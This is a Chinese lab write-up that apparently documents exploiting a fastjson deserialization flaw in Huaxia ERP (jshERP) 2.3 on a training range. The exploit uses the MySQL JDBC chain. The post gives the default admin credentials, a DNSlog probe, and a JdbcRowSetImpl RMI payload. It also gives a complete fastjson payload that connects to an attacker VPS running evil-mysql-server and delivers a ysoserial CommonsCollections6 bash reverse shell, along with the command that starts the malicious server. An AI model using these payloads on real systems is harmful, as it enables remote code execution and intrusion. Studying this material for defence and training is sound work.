> 文章列表 > fastjson 反序列化之mysql JDBC 利用

fastjson 反序列化之mysql JDBC 利用

fastjson 反序列化之mysql JDBC 利用

前言:
在打春秋云境Exchange 靶场时,入口点是华夏ERP 2.3版本系统,存在fastjson 反序列化漏洞,在尝试常见的fastjson利用链反弹shell都没有反应,最终使用mysql JDBC利用链反弹shell成功。在此记录一下。

复现本地靶场搭建

在打靶场过程中,迟迟没有利用成功,在本地搭建靶场先进行反序列化利用测试,github下载jshERP-2.3版本源码。
本地用到的工具和数据库环境:

1. IntelliJ IDEA 2020.3.2(使用tomcat 8.5.34,jdk8)
2. 10.3.7-MariaDB(mysql 5.7

1、使用IDEA打开下载的jshERP-2.3项目源码,修改配置文件

修改application.properties配置文件的数据库连接用户密码

fastjson 反序列化之mysql JDBC 利用

我这里使用的tomcat为8.5.34版本

fastjson 反序列化之mysql JDBC 利用

2、导入数据库

本地创建jsh_erp数据库,导入jsh_erp.sql文件执行生成表数据

fastjson 反序列化之mysql JDBC 利用

3、运行靶场

运行ErpApplication 入口文件,启动靶场,无报错成功运行。

fastjson 反序列化之mysql JDBC 利用

4、反序列化利用

靶场入口是华夏ERP系统,默认管理员账号密码可以进行登录:admin/123456

fastjson 反序列化之mysql JDBC 利用
登录到后台,华夏ERP系统历史版本中存在很多漏洞的,包括fastjson 反序列化漏洞,这里在用户管理查询中触发

fastjson 反序列化之mysql JDBC 利用

验证fastjson 反序列化漏洞存在payload:


{"@type":"java.net.Inet4Address","val":"fvnp2k.dnslog.cn"}
进行url编码后在search值发送

burp中进行数据包发送
fastjson 反序列化之mysql JDBC 利用
dnslog收到消息
fastjson 反序列化之mysql JDBC 利用

后续中在利用fastjson 反序列化执行命令都是无一失败,IDEA中看到都是类似失败提示not support com.sun.rowset.JdbcRowSetImpl,不支持这些利用链如下,还有更多的这里没有列出来

exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xx.xx.xx:1099/Exploit", "autoCommit":true
}

fastjson 反序列化之mysql JDBC 利用

在搜索fastjson 反序列化与JDBC之后发现可以使用fastjson加mysql反序列化,细看了解之后复现测试
参考1:

fastjson 反序列化之mysql JDBC 利用

http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA

参考2:
fastjson 反序列化之mysql JDBC 利用

https://www.cnblogs.com/kingbridge/articles/16720318.html

从华夏ERP源码配置使用的依赖符合触发条件

fastjson 反序列化之mysql JDBC 利用

evil-mysql-server、ysoserial-all.jar

在复现中需要使用到evil-mysql-server、ysoserial-all.jar 反序列化利用工具

evil-mysql-server是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial
fastjson 反序列化之mysql JDBC 利用

ysoserial-all.jar: java反序列利用神器

下载地址:
https://github.com/dushixiang/evil-mysql-server
https://github.com/su18/ysoserial

反弹shell

在vps服务器上下载evil-mysql-server、ysoserial-all.jar工具回来放在同一目录下,执行命令运行

./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar

用到的Fastjson 反序列化exp ,只需要修改vpsIP地址和要执行的命令(base64编码后的命令)

{"name": {"@type": "java.lang.AutoCloseable","@type": "com.mysql.jdbc.JDBC4Connection","hostToConnectTo": "vpsIP地址","portToConnectTo": 3306,"info": {"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}","password": "pass","statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize": "true","NUM_HOSTS": "1"}}

url编码后发送

fastjson 反序列化之mysql JDBC 利用

vps中收到了数据请求,由于靶场是windows系统不能反弹shell,但是可以看到靶场服务器向vps请求, 执行了恶意的反序列化代码

fastjson 反序列化之mysql JDBC 利用

最后发现可行之后,也是立马开启了春秋云境Exchange 靶场,使用fastjson+mysql JDBC利用链反弹shell成功

fastjson 反序列化之mysql JDBC 利用
fastjson 反序列化之mysql JDBC 利用